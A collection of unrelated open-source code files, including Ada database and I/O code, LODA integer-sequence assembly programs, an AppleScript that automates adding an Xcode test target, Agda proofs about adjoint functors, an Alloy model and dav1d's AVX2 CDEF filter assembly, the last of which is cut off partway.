TIO.Put_Line ("Result: Inserted" & numrows'Img & " rows");
TIO.Put_Line ("ID of last inserted row:" & CON.DR.last_insert_id'Img);
CON.DR.detach_custom_logger;
TIO.Put_Line (dtch);
numrows := CON.DR.execute (sql => cmd2);
TIO.Put_Line ("SQL: " & cmd2);
TIO.Put_Line ("Result: Inserted" & numrows'Img & " rows");
TIO.Put_Line ("ID of last inserted row:" & CON.DR.last_insert_id'Img);
CON.DR.attach_custom_logger (logger_access => MyLogger.clogger'Access);
TIO.Put_Line (atch);
CON.DR.commit;
CON.DR.disconnect;
end Fruit4;
|
oeis/209/A209546.asm | neoneye/loda-programs | 11 | 104399 | ; A209546: 1/4 the number of (n+1) X 2 0..3 arrays with every 2 X 2 subblock having exactly two distinct clockwise edge differences.
; Submitted by <NAME>
; 7,20,61,191,603,1909,6049,19173,60777,192665,610761,1936161,6137793,19457329,61681409,195535393,619864097,1965022785,6229292161,19747394881,62600949633,198450424449,629105008769,1994317286913,6322158281217,20041788533505,63534202997761,201408918361601,638483690383873,2024048518816769,6416408857776129,20340571012703233,64481369297627137,204411517449549825,648002189177538561,2054222983215800321,6512064519609024513,20643807733649420289,65442655928948031489,207458879209275236353
add $0,3
mov $1,1
mov $4,1
lpb $0
sub $0,1
mov $2,$1
mul $3,2
mov $1,$3
sub $1,1
add $4,$2
add $1,$4
add $3,$2
lpe
mov $0,$1
div $0,2
add $0,1
|
features/support/scripts/add_target.applescript | eugie/cedar | 0 | 452 | on focusElementNamed(title_name, element_search_space)
tell application "System Events" to tell application process "Xcode"
set elements to entire contents of element_search_space
repeat with element in elements
if title of element is title_name then
set element's focused to true
exit repeat
end if
end repeat
end tell
end focusedElementNamed
on run argv
set template_category_name to item 1 of argv
set template_name to item 2 of argv
repeat until application "Xcode" is running
end repeat
tell application "Xcode"
activate
end tell
tell application "System Events" to tell application process "Xcode"
-- find the window and save it for future use
set projectWindow to "UNKNOWN"
repeat
repeat with theWindow in windows
if title of theWindow contains "template-project" then
set projectWindow to theWindow
end if
end repeat
if projectWindow is not "UNKNOWN" then
exit repeat
end if
end repeat
-- Wait for Xcode to finish loading the project
repeat until exists group 2 of projectWindow
end repeat
repeat until (value of static text 1 of group 2 of projectWindow) contains "template-project: Ready"
end repeat
-- creating a new target
keystroke "?" using command down
delay 1
keystroke "new target"
delay 5
key code 125
delay 1
keystroke return
delay 1
-- pick the template from the sheet
repeat until sheet 1 of projectWindow
end repeat
repeat until (exists sheet 1 of projectWindow)
end repeat
repeat until (exists scroll area 1 of sheet 1 of projectWindow)
end repeat
set focused of scroll area 1 of sheet 1 of projectWindow to true
keystroke template_category_name
delay 2
keystroke "Cedar"
click UI element template_name of group 1 of scroll area 1 of group 1 of sheet 1 of projectWindow
click UI element "Next" of sheet 1 of projectWindow
delay 1
-- fill out the form of the template
set form to group 1 of sheet 1 of projectWindow
keystroke "Specs"
keystroke tab
keystroke "Pivotal"
keystroke tab
keystroke "com.pivotallabs.cedar"
keystroke tab
if exists text field "Test Scheme" of form
-- change focus to element labeled 'Test Scheme'
-- reminder : non-textfield controls can optionally receive focus on OS X
my focusElementNamed("Test Scheme", form)
keystroke "template-project"
delay 1
end if
click UI element "Finish" of sheet 1 of projectWindow
delay 2
-- Xcode 6: check box to allow bundles to run app code. Not accessible to templates
keystroke "O" using command down
repeat until exists window "Open Quickly"
end repeat
keystroke "template-project.xcodeproj"
delay 5
keystroke return
repeat while exists window "Open Quickly"
end repeat
delay 1
set contentPane to group 2 of splitter group 1 of group 1 of projectWindow
set specsTarget to row 5 of outline 1 of scroll area 1 of splitter group 1 of group 1 of splitter group 1 of contentPane
select specsTarget
set checkboxContainer to scroll area 2 of splitter group 1 of group 1 of splitter group 1 of contentPane
if exists checkbox "Allow testing Host Application APIs" of checkboxContainer then
set theCheckbox to checkbox "Allow testing Host Application APIs" of checkboxContainer
tell theCheckbox
if not (its value as boolean) then
click theCheckbox
end if
end tell
end if
delay 1
end tell
tell application "Xcode"
quit
end tell
end run
|
reference/lab1/assembly/examples/ms/sub6.asm | Leser2020/6.828 | 0 | 243892 |
;
; file: sub6.asm
; Subprogram to C interfacing example
; subroutine _calc_sum
; finds the sum of the integers 1 through n
; Parameters:
; n - what to sum up to (at [ebp + 8])
; Return value:
; value of sum
; pseudo C code:
; int calc_sum( int n )
; {
; int i, sum = 0;
; for( i=1; i <= n; i++ )
; sum += i;
; return sum;
; }
;
; To assemble:
; DJGPP: nasm -f coff sub6.asm
; Borland: nasm -f obj sub6.asm
segment .text
global _calc_sum
;
; local variable:
; sum at [ebp-4]
_calc_sum:
enter 4,0 ; make room for sum on stack
mov dword [ebp-4],0 ; sum = 0
mov ecx, 1 ; ecx is i in pseudocode
for_loop:
cmp ecx, [ebp+8] ; cmp i and n
jnle end_for ; if not i <= n, quit
add [ebp-4], ecx ; sum += i
inc ecx
jmp short for_loop
end_for:
mov eax, [ebp-4] ; eax = sum
leave
ret
|
source/streams/a-sequio.adb | ytomino/drake | 33 | 10310 | with Ada.Exception_Identification.From_Here;
package body Ada.Sequential_IO is
use Exception_Identification.From_Here;
use type Streams.Stream_Element_Offset;
procedure Create (
File : in out File_Type;
Mode : File_Mode := Out_File;
Name : String := "";
Form : String := "") is
begin
Streams.Stream_IO.Create (
Streams.Stream_IO.File_Type (File),
Streams.Stream_IO.File_Mode (Mode),
Name,
Form);
end Create;
procedure Open (
File : in out File_Type;
Mode : File_Mode;
Name : String;
Form : String := "") is
begin
Streams.Stream_IO.Open (
Streams.Stream_IO.File_Type (File),
Streams.Stream_IO.File_Mode (Mode),
Name,
Form);
end Open;
procedure Close (File : in out File_Type) is
begin
Streams.Stream_IO.Close (Streams.Stream_IO.File_Type (File));
end Close;
procedure Delete (File : in out File_Type) is
begin
Streams.Stream_IO.Delete (Streams.Stream_IO.File_Type (File));
end Delete;
procedure Reset (File : in out File_Type; Mode : File_Mode) is
begin
Streams.Stream_IO.Reset (
Streams.Stream_IO.File_Type (File),
Streams.Stream_IO.File_Mode (Mode));
end Reset;
procedure Reset (File : in out File_Type) is
begin
Streams.Stream_IO.Reset (Streams.Stream_IO.File_Type (File));
end Reset;
function Mode (
File : File_Type)
return File_Mode is
begin
return File_Mode (
Streams.Stream_IO.Mode (
Streams.Stream_IO.File_Type (File))); -- checking the predicate
end Mode;
function Name (
File : File_Type)
return String is
begin
return Streams.Stream_IO.Name (
Streams.Stream_IO.File_Type (File)); -- checking the predicate
end Name;
function Form (
File : File_Type)
return String is
begin
return Streams.Stream_IO.Form (
Streams.Stream_IO.File_Type (File)); -- checking the predicate
end Form;
function Is_Open (File : File_Type) return Boolean is
begin
return Streams.Stream_IO.Is_Open (Streams.Stream_IO.File_Type (File));
end Is_Open;
procedure Flush (
File : File_Type) is
begin
Streams.Stream_IO.Flush (
Streams.Stream_IO.File_Type (File)); -- checking the predicate
end Flush;
procedure Read (
File : File_Type;
Item : out Element_Type)
is
Unit : constant := Streams.Stream_Element'Size;
Size : constant Streams.Stream_Element_Count :=
(Item'Size + Unit - 1) / Unit;
begin
if not Element_Type'Definite or else Element_Type'Has_Discriminants then
-- indefinite (or unconstrained) types
declare
Read_Size : Streams.Stream_Element_Offset;
begin
Streams.Stream_Element_Offset'Read (
Stream (File), -- checking the predicate
Read_Size);
declare
Item_As_SEA : Streams.Stream_Element_Array (1 .. Read_Size);
for Item_As_SEA'Address use Item'Address;
Last : Streams.Stream_Element_Offset;
begin
Streams.Stream_IO.Read (
Streams.Stream_IO.File_Type (File),
Item_As_SEA,
Last);
if Last < Item_As_SEA'Last then
Raise_Exception (Data_Error'Identity);
end if;
end;
end;
else
declare
Item_As_SEA : Streams.Stream_Element_Array (1 .. Size);
for Item_As_SEA'Address use Item'Address;
Last : Streams.Stream_Element_Offset;
begin
Streams.Stream_IO.Read (
Streams.Stream_IO.File_Type (File), -- checking the predicate
Item_As_SEA,
Last);
if Last < Item_As_SEA'Last then
Raise_Exception (End_Error'Identity);
end if;
end;
end if;
end Read;
procedure Write (
File : File_Type;
Item : Element_Type)
is
Unit : constant := Streams.Stream_Element'Size;
Size : constant Streams.Stream_Element_Count :=
(Item'Size + Unit - 1) / Unit;
begin
if not Element_Type'Definite or else Element_Type'Has_Discriminants then
-- indefinite (or unconstrained) types
Streams.Stream_Element_Offset'Write (
Stream (File), -- checking the predicate, or below
Size);
end if;
declare
Item_As_SEA : Streams.Stream_Element_Array (1 .. Size);
for Item_As_SEA'Address use Item'Address;
begin
Streams.Stream_IO.Write (
Streams.Stream_IO.File_Type (File), -- checking the predicate
Item_As_SEA);
end;
end Write;
function End_Of_File (
File : File_Type)
return Boolean
is
pragma Check (Dynamic_Predicate,
Check => Is_Open (File) or else raise Status_Error);
pragma Check (Dynamic_Predicate,
Check => Mode (File) = In_File or else raise Mode_Error);
begin
return Streams.Stream_IO.End_Of_File (
Streams.Stream_IO.File_Type (File));
end End_Of_File;
end Ada.Sequential_IO;
|
src/Categories/Adjoint/Equivalents.agda | Trebor-Huang/agda-categories | 279 | 8968 | {-# OPTIONS --without-K --safe #-}
module Categories.Adjoint.Equivalents where
-- Theorems about equivalent formulations to Adjoint
-- (though some have caveats)
open import Level
open import Data.Product using (_,_; _×_)
open import Function using (_$_) renaming (_∘_ to _∙_)
open import Function.Equality using (Π; _⟶_)
import Function.Inverse as FI
open import Relation.Binary using (Rel; IsEquivalence; Setoid)
-- be explicit in imports to 'see' where the information comes from
open import Categories.Adjoint using (Adjoint; _⊣_)
open import Categories.Category.Core using (Category)
open import Categories.Category.Product using (Product; _⁂_)
open import Categories.Category.Instance.Setoids
open import Categories.Morphism
open import Categories.Functor using (Functor; _∘F_) renaming (id to idF)
open import Categories.Functor.Bifunctor using (Bifunctor)
open import Categories.Functor.Hom using (Hom[_][-,-])
open import Categories.Functor.Construction.LiftSetoids
open import Categories.NaturalTransformation using (NaturalTransformation; ntHelper; _∘ₕ_; _∘ᵥ_; _∘ˡ_; _∘ʳ_)
renaming (id to idN)
open import Categories.NaturalTransformation.NaturalIsomorphism
using (NaturalIsomorphism; unitorˡ; unitorʳ; associator; _≃_)
import Categories.Morphism.Reasoning as MR
private
variable
o o′ o″ ℓ ℓ′ ℓ″ e e′ e″ : Level
C D E : Category o ℓ e
-- a special case of the natural isomorphism in which homsets in C and D have the same
-- universe level. therefore there is no need to lift Setoids to the same level.
-- this is helpful when combining with Yoneda lemma.
module _ {C : Category o ℓ e} {D : Category o′ ℓ e} {L : Functor C D} {R : Functor D C} where
private
module C = Category C
module D = Category D
module L = Functor L
module R = Functor R
module _ (adjoint : L ⊣ R) where
open Adjoint adjoint
-- in this case, the hom functors are naturally isomorphism directly
Hom-NI′ : NaturalIsomorphism Hom[L-,-] Hom[-,R-]
Hom-NI′ = record
{ F⇒G = ntHelper record
{ η = λ _ → Hom-inverse.to
; commute = λ _ eq → Ladjunct-comm eq
}
; F⇐G = ntHelper record
{ η = λ _ → Hom-inverse.from
; commute = λ _ eq → Radjunct-comm eq
}
; iso = λ _ → record
{ isoˡ = λ eq → let open D.HomReasoning in RLadjunct≈id ○ eq
; isoʳ = λ eq → let open C.HomReasoning in LRadjunct≈id ○ eq
}
}
-- now goes from natural isomorphism back to adjoint.
-- for simplicity, just construct the case in which homsetoids of C and D
-- are compatible.
private
Hom[L-,-] : Bifunctor C.op D (Setoids _ _)
Hom[L-,-] = Hom[ D ][-,-] ∘F (L.op ⁂ idF)
Hom[-,R-] : Bifunctor C.op D (Setoids _ _)
Hom[-,R-] = Hom[ C ][-,-] ∘F (idF ⁂ R)
module _ (Hni : NaturalIsomorphism Hom[L-,-] Hom[-,R-]) where
open NaturalIsomorphism Hni
open NaturalTransformation
open Functor
open Π
private
unitη : ∀ X → F₀ Hom[L-,-] (X , L.F₀ X) ⟶ F₀ Hom[-,R-] (X , L.F₀ X)
unitη X = ⇒.η (X , L.F₀ X)
unit : NaturalTransformation idF (R ∘F L)
unit = ntHelper record
{ η = λ X → unitη X ⟨$⟩ D.id
; commute = λ {X} {Y} f → begin
(unitη Y ⟨$⟩ D.id) ∘ f ≈⟨ introˡ R.identity ⟩
R.F₁ D.id ∘ (unitη Y ⟨$⟩ D.id) ∘ f ≈˘⟨ ⇒.commute (f , D.id) D.Equiv.refl ⟩
⇒.η (X , L.F₀ Y) ⟨$⟩ (D.id D.∘ D.id D.∘ L.F₁ f) ≈⟨ cong (⇒.η (X , L.F₀ Y)) (D.Equiv.trans D.identityˡ D.identityˡ) ⟩
⇒.η (X , L.F₀ Y) ⟨$⟩ L.F₁ f ≈⟨ cong (⇒.η (X , L.F₀ Y)) (MR.introʳ D (MR.elimʳ D L.identity)) ⟩
⇒.η (X , L.F₀ Y) ⟨$⟩ (L.F₁ f D.∘ D.id D.∘ L.F₁ id) ≈⟨ ⇒.commute (C.id , L.F₁ f) D.Equiv.refl ⟩
R.F₁ (L.F₁ f) ∘ (unitη X ⟨$⟩ D.id) ∘ id ≈⟨ refl⟩∘⟨ identityʳ ⟩
R.F₁ (L.F₁ f) ∘ (unitη X ⟨$⟩ D.id) ∎
}
where open C
open HomReasoning
open MR C
counitη : ∀ X → F₀ Hom[-,R-] (R.F₀ X , X) ⟶ F₀ Hom[L-,-] (R.F₀ X , X)
counitη X = ⇐.η (R.F₀ X , X)
counit : NaturalTransformation (L ∘F R) idF
counit = ntHelper record
{ η = λ X → counitη X ⟨$⟩ C.id
; commute = λ {X} {Y} f → begin
(counitη Y ⟨$⟩ C.id) ∘ L.F₁ (R.F₁ f) ≈˘⟨ identityˡ ⟩
id ∘ (counitη Y ⟨$⟩ C.id) ∘ L.F₁ (R.F₁ f) ≈˘⟨ ⇐.commute (R.F₁ f , D.id) C.Equiv.refl ⟩
⇐.η (R.F₀ X , Y) ⟨$⟩ (R.F₁ id C.∘ C.id C.∘ R.F₁ f) ≈⟨ cong (⇐.η (R.F₀ X , Y)) (C.Equiv.trans (MR.elimˡ C R.identity) C.identityˡ) ⟩
⇐.η (R.F₀ X , Y) ⟨$⟩ R.F₁ f ≈⟨ cong (⇐.η (R.F₀ X , Y)) (MR.introʳ C C.identityˡ) ⟩
⇐.η (R.F₀ X , Y) ⟨$⟩ (R.F₁ f C.∘ C.id C.∘ C.id) ≈⟨ ⇐.commute (C.id , f) C.Equiv.refl ⟩
f ∘ (counitη X ⟨$⟩ C.id) ∘ L.F₁ C.id ≈⟨ refl⟩∘⟨ elimʳ L.identity ⟩
f ∘ (counitη X ⟨$⟩ C.id) ∎
}
where open D
open HomReasoning
open MR D
Hom-NI⇒Adjoint : L ⊣ R
Hom-NI⇒Adjoint = record
{ unit = unit
; counit = counit
; zig = λ {A} →
let open D
open HomReasoning
open Equiv
open MR D
in begin
η counit (L.F₀ A) ∘ L.F₁ (η unit A) ≈˘⟨ identityˡ ⟩
id ∘ η counit (L.F₀ A) ∘ L.F₁ (η unit A) ≈˘⟨ ⇐.commute (η unit A , id) C.Equiv.refl ⟩
⇐.η (A , L.F₀ A) ⟨$⟩ (R.F₁ id C.∘ C.id C.∘ η unit A)
≈⟨ cong (⇐.η (A , L.F₀ A)) (C.Equiv.trans (MR.elimˡ C R.identity) C.identityˡ) ⟩
⇐.η (A , L.F₀ A) ⟨$⟩ η unit A ≈⟨ isoˡ refl ⟩
id
∎
; zag = λ {B} →
let open C
open HomReasoning
open Equiv
open MR C
in begin
R.F₁ (η counit B) ∘ η unit (R.F₀ B) ≈˘⟨ refl⟩∘⟨ identityʳ ⟩
R.F₁ (η counit B) ∘ η unit (R.F₀ B) ∘ id ≈˘⟨ ⇒.commute (id , η counit B) D.Equiv.refl ⟩
⇒.η (R.F₀ B , B) ⟨$⟩ (η counit B D.∘ D.id D.∘ L.F₁ id)
≈⟨ cong (⇒.η (R.F₀ B , B)) (MR.elimʳ D (MR.elimʳ D L.identity)) ⟩
⇒.η (R.F₀ B , B) ⟨$⟩ η counit B ≈⟨ isoʳ refl ⟩
id ∎
}
where module i {X} = Iso (iso X)
open i
-- the general case from isomorphic Hom setoids to adjoint functors
module _ {C : Category o ℓ e} {D : Category o′ ℓ′ e′} {L : Functor C D} {R : Functor D C} where
private
module C = Category C
module D = Category D
module L = Functor L
module R = Functor R
open Functor
open Π
Hom[L-,-] : Bifunctor C.op D (Setoids _ _)
Hom[L-,-] = LiftSetoids ℓ e ∘F Hom[ D ][-,-] ∘F (L.op ⁂ idF)
Hom[-,R-] : Bifunctor C.op D (Setoids _ _)
Hom[-,R-] = LiftSetoids ℓ′ e′ ∘F Hom[ C ][-,-] ∘F (idF ⁂ R)
module _ (Hni : Hom[L-,-] ≃ Hom[-,R-]) where
open NaturalIsomorphism Hni using (module ⇒; module ⇐; iso)
private
unitη : ∀ X → F₀ Hom[L-,-] (X , L.F₀ X) ⟶ F₀ Hom[-,R-] (X , L.F₀ X)
unitη X = ⇒.η (X , L.F₀ X)
unit : NaturalTransformation idF (R ∘F L)
unit = ntHelper record
{ η = λ X → lower (unitη X ⟨$⟩ lift D.id)
; commute = λ {X Y} f → begin
lower (unitη Y ⟨$⟩ lift D.id) ∘ f
≈⟨ introˡ R.identity ⟩
R.F₁ D.id ∘ lower (unitη Y ⟨$⟩ lift D.id) ∘ f
≈˘⟨ lower (⇒.commute (f , D.id) (lift D.Equiv.refl)) ⟩
lower (⇒.η (X , L.F₀ Y) ⟨$⟩ lift (D.id D.∘ D.id D.∘ L.F₁ f))
≈⟨ lower (cong (⇒.η (X , L.F₀ Y)) (lift (D.Equiv.trans D.identityˡ D.identityˡ))) ⟩
lower (⇒.η (X , L.F₀ Y) ⟨$⟩ lift (L.F₁ f))
≈⟨ lower (cong (⇒.η (X , L.F₀ Y)) (lift (MR.introʳ D (MR.elimʳ D L.identity)))) ⟩
lower (⇒.η (X , L.F₀ Y) ⟨$⟩ lift (L.F₁ f D.∘ D.id D.∘ L.F₁ id))
≈⟨ lower (⇒.commute (C.id , L.F₁ f) (lift D.Equiv.refl)) ⟩
R.F₁ (L.F₁ f) ∘ lower (⇒.η (X , L.F₀ X) ⟨$⟩ lift D.id) ∘ id
≈⟨ refl⟩∘⟨ identityʳ ⟩
F₁ (R ∘F L) f ∘ lower (unitη X ⟨$⟩ lift D.id) ∎
}
where open C
open HomReasoning
open MR C
counitη : ∀ X → F₀ Hom[-,R-] (R.F₀ X , X) ⟶ F₀ Hom[L-,-] (R.F₀ X , X)
counitη X = ⇐.η (R.F₀ X , X)
counit : NaturalTransformation (L ∘F R) idF
counit = ntHelper record
{ η = λ X → lower (counitη X ⟨$⟩ lift C.id)
; commute = λ {X} {Y} f → begin
lower (⇐.η (R.F₀ Y , Y) ⟨$⟩ lift C.id) ∘ L.F₁ (R.F₁ f)
≈˘⟨ identityˡ ⟩
id ∘ lower (⇐.η (R.F₀ Y , Y) ⟨$⟩ lift C.id) ∘ L.F₁ (R.F₁ f)
≈˘⟨ lower (⇐.commute (R.F₁ f , D.id) (lift C.Equiv.refl)) ⟩
lower (⇐.η (R.F₀ X , Y) ⟨$⟩ lift (R.F₁ id C.∘ C.id C.∘ R.F₁ f))
≈⟨ lower (cong (⇐.η (R.F₀ X , Y)) (lift (C.Equiv.trans (MR.elimˡ C R.identity) C.identityˡ))) ⟩
lower (⇐.η (R.F₀ X , Y) ⟨$⟩ lift (R.F₁ f))
≈⟨ lower (cong (⇐.η (R.F₀ X , Y)) (lift (MR.introʳ C C.identityˡ))) ⟩
lower (⇐.η (R.F₀ X , Y) ⟨$⟩ lift (R.F₁ f C.∘ C.id C.∘ C.id))
≈⟨ lower (⇐.commute (C.id , f) (lift C.Equiv.refl)) ⟩
f ∘ lower (⇐.η (R.F₀ X , X) ⟨$⟩ lift C.id) ∘ L.F₁ C.id
≈⟨ refl⟩∘⟨ elimʳ L.identity ⟩
f ∘ lower (⇐.η (R.F₀ X , X) ⟨$⟩ lift C.id)
∎
}
where open D
open HomReasoning
open MR D
Hom-NI′⇒Adjoint : L ⊣ R
Hom-NI′⇒Adjoint = record
{ unit = unit
; counit = counit
; zig = λ {A} →
let open D
open HomReasoning
open Equiv
open MR D
in begin
lower (counitη (L.F₀ A) ⟨$⟩ lift C.id) ∘ L.F₁ (η unit A)
≈˘⟨ identityˡ ⟩
id ∘ lower (counitη (L.F₀ A) ⟨$⟩ lift C.id) ∘ L.F₁ (η unit A)
≈˘⟨ lower (⇐.commute (η unit A , id) (lift C.Equiv.refl)) ⟩
lower (⇐.η (A , L.F₀ A) ⟨$⟩ lift (R.F₁ id C.∘ C.id C.∘ lower (⇒.η (A , L.F₀ A) ⟨$⟩ lift id)))
≈⟨ lower (cong (⇐.η (A , L.F₀ A)) (lift (C.Equiv.trans (MR.elimˡ C R.identity) C.identityˡ))) ⟩
lower (⇐.η (A , L.F₀ A) ⟨$⟩ (⇒.η (A , L.F₀ A) ⟨$⟩ lift id))
≈⟨ lower (isoˡ (lift refl)) ⟩
id ∎
; zag = λ {B} →
let open C
open HomReasoning
open Equiv
open MR C
in begin
R.F₁ (lower (⇐.η (R.F₀ B , B) ⟨$⟩ lift id)) ∘ lower (⇒.η (R.F₀ B , L.F₀ (R.F₀ B)) ⟨$⟩ lift D.id)
≈˘⟨ refl⟩∘⟨ identityʳ ⟩
R.F₁ (lower (⇐.η (R.F₀ B , B) ⟨$⟩ lift id)) ∘ lower (⇒.η (R.F₀ B , L.F₀ (R.F₀ B)) ⟨$⟩ lift D.id) ∘ id
≈˘⟨ lower (⇒.commute (id , η counit B) (lift D.Equiv.refl)) ⟩
lower (⇒.η (R.F₀ B , B) ⟨$⟩ lift (lower (⇐.η (R.F₀ B , B) ⟨$⟩ lift id) D.∘ D.id D.∘ L.F₁ id))
≈⟨ lower (cong (⇒.η (R.F₀ B , B)) (lift (MR.elimʳ D (MR.elimʳ D L.identity)))) ⟩
lower (⇒.η (R.F₀ B , B) ⟨$⟩ lift (lower (⇐.η (R.F₀ B , B) ⟨$⟩ lift id)))
≈⟨ lower (isoʳ (lift refl)) ⟩
id ∎
}
where open NaturalTransformation
module _ {X} where
open Iso (iso X) public
|
oeis/062/A062152.asm | neoneye/loda-programs | 11 | 11259 | <gh_stars>10-100
; A062152: Sixth (unsigned) column of triangle A062138 (generalized a=5 Laguerre).
; Submitted by <NAME>
; 1,66,2772,96096,3027024,90810720,2663781120,77630192640,2270683134720,67111301537280,2013339046118400,61498356317798400,1916698771904716800,61039483966811750400,1988143192061868441600,66271439735395614720000,2261512880970375352320000,79019920664494291722240000,2827157161551906881617920000,103563230760006694189793280000,3883621153500251032117248000000,149057078558152491994595328000000,5853877994283806958333198336000000,235173185509488592586951098368000000,9661698371348156345447240957952000000
mov $1,$0
add $1,5
mov $0,$1
bin $0,5
add $1,5
lpb $1
mul $0,$1
sub $1,1
lpe
div $0,3628800
|
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/log10_fastcall.asm | meesokim/z88dk | 0 | 28841 |
SECTION code_fp_math48
PUBLIC _log10_fastcall
EXTERN cm48_sdccix_log10_fastcall
defc _log10_fastcall = cm48_sdccix_log10_fastcall
|
alloy4fun_models/trashltl/models/19/MZxn5EwrHySN2EfSw.als | Kaixi26/org.alloytools.alloy | 0 | 1096 | <reponame>Kaixi26/org.alloytools.alloy
open main
pred idMZxn5EwrHySN2EfSw_prop20 {
always all f : File | f not in Protected since f in Trash
}
pred __repair { idMZxn5EwrHySN2EfSw_prop20 }
check __repair { idMZxn5EwrHySN2EfSw_prop20 <=> prop20o } |
src/x86/cdef16_avx2.asm | tanersener/dav1d | 0 | 84601 | <filename>src/x86/cdef16_avx2.asm
; Copyright © 2021, VideoLAN and dav1d authors
; Copyright © 2021, Two Orioles, LLC
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; 1. Redistributions of source code must retain the above copyright notice, this
; list of conditions and the following disclaimer.
;
; 2. Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
; ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
; ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
%include "config.asm"
%include "ext/x86/x86inc.asm"
%if ARCH_X86_64
SECTION_RODATA
%macro DIR_TABLE 1 ; stride
db 1 * %1 + 0, 2 * %1 + 0
db 1 * %1 + 0, 2 * %1 - 2
db -1 * %1 + 2, -2 * %1 + 4
db 0 * %1 + 2, -1 * %1 + 4
db 0 * %1 + 2, 0 * %1 + 4
db 0 * %1 + 2, 1 * %1 + 4
db 1 * %1 + 2, 2 * %1 + 4
db 1 * %1 + 0, 2 * %1 + 2
db 1 * %1 + 0, 2 * %1 + 0
db 1 * %1 + 0, 2 * %1 - 2
db -1 * %1 + 2, -2 * %1 + 4
db 0 * %1 + 2, -1 * %1 + 4
%endmacro
dir_table4: DIR_TABLE 16
dir_table8: DIR_TABLE 32
pri_taps: dw 4, 4, 3, 3, 2, 2, 3, 3
dir_shift: times 2 dw 0x4000
times 2 dw 0x1000
pw_2048: times 2 dw 2048
pw_m16384: times 2 dw -16384
cextern cdef_dir_8bpc_avx2.main
SECTION .text
%macro REPX 2-*
%xdefine %%f(x) %1
%rep %0 - 1
%rotate 1
%%f(%1)
%endrep
%endmacro
%macro CDEF_FILTER 2 ; w, h
DEFINE_ARGS dst, stride, _, dir, pridmp, pri, sec, tmp
movifnidn prid, r5m
movifnidn secd, r6m
mov dird, r7m
vpbroadcastd m8, [base+pw_2048]
lea dirq, [base+dir_table%1+dirq*2]
test prid, prid
jz .sec_only
%if WIN64
vpbroadcastw m6, prim
movaps [rsp+16*0], xmm9
movaps [rsp+16*1], xmm10
%else
movd xm6, prid
vpbroadcastw m6, xm6
%endif
lzcnt pridmpd, prid
rorx tmpd, prid, 2
cmp dword r10m, 0xfff ; if (bpc == 12)
cmove prid, tmpd ; pri >>= 2
mov tmpd, r8m ; damping
and prid, 4
sub tmpd, 31
vpbroadcastd m9, [base+pri_taps+priq+8*0]
vpbroadcastd m10, [base+pri_taps+priq+8*1]
test secd, secd
jz .pri_only
%if WIN64
movaps r8m, xmm13
vpbroadcastw m13, secm
movaps r4m, xmm11
movaps r6m, xmm12
%else
movd xm0, secd
vpbroadcastw m13, xm0
%endif
lzcnt secd, secd
xor prid, prid
add pridmpd, tmpd
cmovs pridmpd, prid
add secd, tmpd
lea tmpq, [px]
mov [pri_shift], pridmpq
mov [sec_shift], secq
%rep %1*%2/16
call mangle(private_prefix %+ _cdef_filter_%1x%1_16bpc %+ SUFFIX).pri_sec
%endrep
%if WIN64
movaps xmm11, r4m
movaps xmm12, r6m
movaps xmm13, r8m
%endif
jmp .pri_end
.pri_only:
add pridmpd, tmpd
cmovs pridmpd, secd
lea tmpq, [px]
mov [pri_shift], pridmpq
%rep %1*%2/16
call mangle(private_prefix %+ _cdef_filter_%1x%1_16bpc %+ SUFFIX).pri
%endrep
.pri_end:
%if WIN64
movaps xmm9, [rsp+16*0]
movaps xmm10, [rsp+16*1]
%endif
.end:
RET
.sec_only:
mov tmpd, r8m ; damping
%if WIN64
vpbroadcastw m6, secm
%else
movd xm6, secd
vpbroadcastw m6, xm6
%endif
tzcnt secd, secd
sub tmpd, secd
mov [sec_shift], tmpq
lea tmpq, [px]
%rep %1*%2/16
call mangle(private_prefix %+ _cdef_filter_%1x%1_16bpc %+ SUFFIX).sec
%endrep
jmp .end
%if %1 == %2
ALIGN function_align
.pri:
movsx offq, byte [dirq+4] ; off_k0
%if %1 == 4
mova m1, [tmpq+32*0]
punpcklqdq m1, [tmpq+32*1] ; 0 2 1 3
movu m2, [tmpq+offq+32*0]
punpcklqdq m2, [tmpq+offq+32*1] ; k0p0
neg offq
movu m3, [tmpq+offq+32*0]
punpcklqdq m3, [tmpq+offq+32*1] ; k0p1
%else
mova xm1, [tmpq+32*0]
vinserti128 m1, [tmpq+32*1], 1
movu xm2, [tmpq+offq+32*0]
vinserti128 m2, [tmpq+offq+32*1], 1
neg offq
movu xm3, [tmpq+offq+32*0]
vinserti128 m3, [tmpq+offq+32*1], 1
%endif
movsx offq, byte [dirq+5] ; off_k1
psubw m2, m1 ; diff_k0p0
psubw m3, m1 ; diff_k0p1
pabsw m4, m2 ; adiff_k0p0
psrlw m5, m4, [pri_shift+gprsize]
psubusw m0, m6, m5
pabsw m5, m3 ; adiff_k0p1
pminsw m0, m4
psrlw m4, m5, [pri_shift+gprsize]
psignw m0, m2 ; constrain(diff_k0p0)
psubusw m2, m6, m4
pminsw m2, m5
%if %1 == 4
movu m4, [tmpq+offq+32*0]
punpcklqdq m4, [tmpq+offq+32*1] ; k1p0
neg offq
movu m5, [tmpq+offq+32*0]
punpcklqdq m5, [tmpq+offq+32*1] ; k1p1
%else
movu xm4, [tmpq+offq+32*0]
vinserti128 m4, [tmpq+offq+32*1], 1
neg offq
movu xm5, [tmpq+offq+32*0]
